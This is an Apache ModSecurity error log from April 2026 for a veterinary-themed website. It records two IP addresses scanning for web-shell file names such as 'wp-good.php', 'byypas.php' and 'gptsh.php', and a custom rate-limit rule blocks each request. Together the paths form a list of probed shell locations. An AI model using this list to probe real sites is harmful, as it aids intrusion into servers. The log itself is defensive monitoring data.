[Mon Apr 13 17:19:40.039006 2026] [:error] [pid 63309:tid 63336] [client 20.100.201.121:65113] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ibcqocdtu3eovdx2hwj7Cdefault.php"] [unique_id "ady1LEpIKZ10weXpf0UDmwAAABc"]
[Mon Apr 13 17:19:40.076660 2026] [:error] [pid 63309:tid 63328] [client 20.100.201.121:65204] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zoper1.php"] [unique_id "ady1LEpIKZ10weXpf0UDnAAAAA8"]
[Mon Apr 13 17:19:40.741579 2026] [:error] [pid 63311:tid 63381] [client 20.240.142.13:64545] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lib.php"] [unique_id "ady1LKHjrGN1MqBCVFnSkAAAAIo"]
[Mon Apr 13 17:19:43.392953 2026] [:error] [pid 7228:tid 7245] [client 20.100.201.121:65182] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zoper1.php"] [unique_id "ady1LwEnn1dQrOSHHNVb0QAAAQ8"]
[Mon Apr 13 17:19:44.432384 2026] [:error] [pid 7228:tid 7232] [client 20.100.201.121:64646] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zoper1.php"] [unique_id "ady1MAEnn1dQrOSHHNVb0gAAAQI"]
[Mon Apr 13 17:19:44.673531 2026] [:error] [pid 9314:tid 9324] [client 20.240.142.13:62757] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lib.php"] [unique_id "ady1MG_r4W8fX2GWyGTMjgAAAYg"]
[Mon Apr 13 17:19:45.436555 2026] [:error] [pid 63311:tid 63388] [client 20.100.201.121:65124] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zoper1.php"] [unique_id "ady1MaHjrGN1MqBCVFnSmwAAAJE"]
[Mon Apr 13 17:19:47.336952 2026] [:error] [pid 7228:tid 7238] [client 20.100.201.121:64632] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/rithin.php"] [unique_id "ady1MwEnn1dQrOSHHNVb1gAAAQg"]
[Mon Apr 13 17:19:49.965067 2026] [:error] [pid 63406:tid 63423] [client 20.100.201.121:63708] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ortasekerli1.php"] [unique_id "ady1NbHZEIkQ0Zmgp5oh9QAAAMw"]
[Mon Apr 13 17:19:52.377155 2026] [:error] [pid 7228:tid 7252] [client 20.240.142.13:61569] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bolt.php"] [unique_id "ady1OAEnn1dQrOSHHNVb4QAAARY"]
[Mon Apr 13 17:19:52.884963 2026] [:error] [pid 9314:tid 9334] [client 20.100.201.121:64627] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/rithin.php"] [unique_id "ady1OG_r4W8fX2GWyGTMkQAAAZI"]
[Mon Apr 13 17:19:54.868290 2026] [:error] [pid 7228:tid 7242] [client 20.100.201.121:64692] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ortasekerli1.php"] [unique_id "ady1OgEnn1dQrOSHHNVb5AAAAQw"]
[Mon Apr 13 17:19:55.756052 2026] [:error] [pid 7228:tid 7247] [client 20.100.201.121:64179] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/rithin.php"] [unique_id "ady1OwEnn1dQrOSHHNVb5wAAARE"]
[Mon Apr 13 17:19:56.062871 2026] [:error] [pid 7228:tid 7230] [client 20.100.201.121:64676] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ortasekerli1.php"] [unique_id "ady1PAEnn1dQrOSHHNVb6QAAAQA"]
[Mon Apr 13 17:19:56.679504 2026] [:error] [pid 63406:tid 63414] [client 20.100.201.121:64648] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ortasekerli1.php"] [unique_id "ady1PLHZEIkQ0Zmgp5oiJwAAAMM"]
[Mon Apr 13 17:19:57.715858 2026] [:error] [pid 63309:tid 63317] [client 20.100.201.121:64661] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-good.php"] [unique_id "ady1PUpIKZ10weXpf0UDqwAAAAQ"]
[Mon Apr 13 17:19:58.498583 2026] [:error] [pid 9314:tid 9316] [client 20.100.201.121:63691] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-good.php"] [unique_id "ady1Pm_r4W8fX2GWyGTMnwAAAYA"]
[Mon Apr 13 17:19:59.132171 2026] [:error] [pid 63406:tid 63416] [client 20.100.201.121:64142] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/rithin.php"] [unique_id "ady1P7HZEIkQ0Zmgp5oiPwAAAMU"]
[Mon Apr 13 17:19:59.462662 2026] [:error] [pid 63406:tid 63411] [client 20.100.201.121:65118] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-good.php"] [unique_id "ady1P7HZEIkQ0Zmgp5oiRgAAAMA"]
[Mon Apr 13 17:20:00.067026 2026] [:error] [pid 57183:tid 57199] [client 20.100.201.121:64130] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-good.php"] [unique_id "ady1QDDO3t8R5NaxzYTV-gAAAU4"]
[Mon Apr 13 17:20:00.787490 2026] [:error] [pid 57183:tid 57196] [client 20.100.201.121:65188] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wmore1.php"] [unique_id "ady1QDDO3t8R5NaxzYTV_gAAAUs"]
[Mon Apr 13 17:20:01.156902 2026] [:error] [pid 57183:tid 57209] [client 20.240.142.13:62721] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file61.php"] [unique_id "ady1QTDO3t8R5NaxzYTWAAAAAVg"]
[Mon Apr 13 17:20:01.476308 2026] [:error] [pid 57183:tid 57197] [client 20.100.201.121:65196] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wmore1.php"] [unique_id "ady1QTDO3t8R5NaxzYTWBAAAAUw"]
[Mon Apr 13 17:20:02.021611 2026] [:error] [pid 57183:tid 57205] [client 20.100.201.121:65178] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wmore1.php"] [unique_id "ady1QjDO3t8R5NaxzYTWBwAAAVQ"]
[Mon Apr 13 17:20:02.398821 2026] [:error] [pid 57183:tid 57192] [client 20.240.142.13:60521] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file61.php"] [unique_id "ady1QjDO3t8R5NaxzYTWCAAAAUc"]
[Mon Apr 13 17:20:02.571026 2026] [:error] [pid 63406:tid 63412] [client 20.100.201.121:64085] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wmore1.php"] [unique_id "ady1QrHZEIkQ0Zmgp5oiVwAAAME"]
[Mon Apr 13 17:20:03.237994 2026] [:error] [pid 63406:tid 63429] [client 20.100.201.121:64141] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/new3.php"] [unique_id "ady1Q7HZEIkQ0Zmgp5oiXQAAANI"]
[Mon Apr 13 17:20:03.704033 2026] [:error] [pid 7228:tid 7236] [client 20.240.142.13:61916] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file61.php"] [unique_id "ady1QwEnn1dQrOSHHNVb-AAAAQY"]
[Mon Apr 13 17:20:03.763307 2026] [:error] [pid 7228:tid 7230] [client 20.100.201.121:63723] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/new3.php"] [unique_id "ady1QwEnn1dQrOSHHNVb-QAAAQA"]
[Mon Apr 13 17:20:03.909519 2026] [:error] [pid 9314:tid 9334] [client 20.100.201.121:65164] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a4.php"] [unique_id "ady1Q2_r4W8fX2GWyGTMsQAAAZI"]
[Mon Apr 13 17:20:04.288914 2026] [:error] [pid 63406:tid 63424] [client 20.100.201.121:64578] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/new3.php"] [unique_id "ady1RLHZEIkQ0Zmgp5oiZQAAAM0"]
[Mon Apr 13 17:20:04.809157 2026] [:error] [pid 63406:tid 63429] [client 20.100.201.121:64677] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/new3.php"] [unique_id "ady1RLHZEIkQ0Zmgp5oiawAAANI"]
[Mon Apr 13 17:20:05.215617 2026] [:error] [pid 9314:tid 9322] [client 20.240.142.13:61605] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file61.php"] [unique_id "ady1RW_r4W8fX2GWyGTMtAAAAYY"]
[Mon Apr 13 17:20:05.401313 2026] [:error] [pid 7228:tid 7233] [client 20.100.201.121:64135] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nw.php"] [unique_id "ady1RQEnn1dQrOSHHNVb_QAAAQM"]
[Mon Apr 13 17:20:05.865850 2026] [:error] [pid 63310:tid 63364] [client 20.240.142.13:61618] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/uuu.php"] [unique_id "ady1RXoXpRU5ztmwPjIw9gAAAFQ"]
[Mon Apr 13 17:20:06.036212 2026] [:error] [pid 7228:tid 7245] [client 20.100.201.121:64102] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nw.php"] [unique_id "ady1RgEnn1dQrOSHHNVb_gAAAQ8"]
[Mon Apr 13 17:20:06.433953 2026] [:error] [pid 63406:tid 63424] [client 20.100.201.121:64579] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a4.php"] [unique_id "ady1RrHZEIkQ0Zmgp5oidAAAAM0"]
[Mon Apr 13 17:20:06.511436 2026] [:error] [pid 63406:tid 63425] [client 20.240.142.13:64541] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/uuu.php"] [unique_id "ady1RrHZEIkQ0Zmgp5oidQAAAM4"]
[Mon Apr 13 17:20:06.565053 2026] [:error] [pid 63406:tid 63431] [client 20.100.201.121:64673] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nw.php"] [unique_id "ady1RrHZEIkQ0Zmgp5oidgAAANQ"]
[Mon Apr 13 17:20:07.101911 2026] [:error] [pid 9314:tid 9316] [client 20.100.201.121:65215] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nw.php"] [unique_id "ady1R2_r4W8fX2GWyGTMvgAAAYA"]
[Mon Apr 13 17:20:07.732363 2026] [:error] [pid 63406:tid 63430] [client 20.240.142.13:60481] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/uuu.php"] [unique_id "ady1R7HZEIkQ0Zmgp5oigQAAANM"]
[Mon Apr 13 17:20:07.941494 2026] [:error] [pid 57183:tid 57185] [client 20.100.201.121:63667] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/byypas.php"] [unique_id "ady1RzDO3t8R5NaxzYTWFgAAAUA"]
[Mon Apr 13 17:20:08.573926 2026] [:error] [pid 63406:tid 63427] [client 20.100.201.121:63209] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/byypas.php"] [unique_id "ady1SLHZEIkQ0Zmgp5oiiAAAANA"]
[Mon Apr 13 17:20:09.116884 2026] [:error] [pid 63406:tid 63430] [client 20.100.201.121:64109] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/byypas.php"] [unique_id "ady1SbHZEIkQ0Zmgp5oiiwAAANM"]
[Mon Apr 13 17:20:09.177216 2026] [:error] [pid 63406:tid 63428] [client 20.240.142.13:60510] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/uuu.php"] [unique_id "ady1SbHZEIkQ0Zmgp5oijAAAANE"]
[Mon Apr 13 17:20:09.832897 2026] [:error] [pid 9314:tid 9320] [client 20.100.201.121:64635] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/byypas.php"] [unique_id "ady1SW_r4W8fX2GWyGTMwAAAAYQ"]
[Mon Apr 13 17:20:10.475141 2026] [:error] [pid 9314:tid 9329] [client 20.100.201.121:63640] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/rithin.php"] [unique_id "ady1Sm_r4W8fX2GWyGTMwgAAAY0"]
[Mon Apr 13 17:20:11.033648 2026] [:error] [pid 7228:tid 7231] [client 20.100.201.121:65129] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/rithin.php"] [unique_id "ady1SwEnn1dQrOSHHNVcAgAAAQE"]
[Mon Apr 13 17:20:11.377516 2026] [:error] [pid 9314:tid 9338] [client 20.240.142.13:61889] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gptsh.php"] [unique_id "ady1S2_r4W8fX2GWyGTMxQAAAZY"]
[Mon Apr 13 17:20:11.838255 2026] [:error] [pid 7228:tid 7253] [client 20.100.201.121:65211] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/rithin.php"] [unique_id "ady1SwEnn1dQrOSHHNVcBAAAARc"]
[Mon Apr 13 17:20:12.420043 2026] [:error] [pid 57183:tid 57194] [client 20.100.201.121:65157] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a4.php"] [unique_id "ady1TDDO3t8R5NaxzYTWIAAAAUk"]
[Mon Apr 13 17:20:12.493518 2026] [:error] [pid 57183:tid 57189] [client 20.100.201.121:65121] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/rithin.php"] [unique_id "ady1TDDO3t8R5NaxzYTWIQAAAUQ"]
[Mon Apr 13 17:20:13.475672 2026] [:error] [pid 57183:tid 57196] [client 20.100.201.121:64651] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a4.php"] [unique_id "ady1TTDO3t8R5NaxzYTWJAAAAUs"]
[Mon Apr 13 17:20:14.146707 2026] [:error] [pid 7228:tid 7233] [client 20.100.201.121:64113] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a4.php"] [unique_id "ady1TgEnn1dQrOSHHNVcDAAAAQM"]
[Mon Apr 13 17:20:14.556109 2026] [:error] [pid 57183:tid 57201] [client 20.240.142.13:61577] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gptsh.php"] [unique_id "ady1TjDO3t8R5NaxzYTWKQAAAVA"]
[Mon Apr 13 17:20:15.698559 2026] [:error] [pid 57183:tid 57189] [client 20.100.201.121:63638] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a4.php"] [unique_id "ady1TzDO3t8R5NaxzYTWMAAAAUQ"]
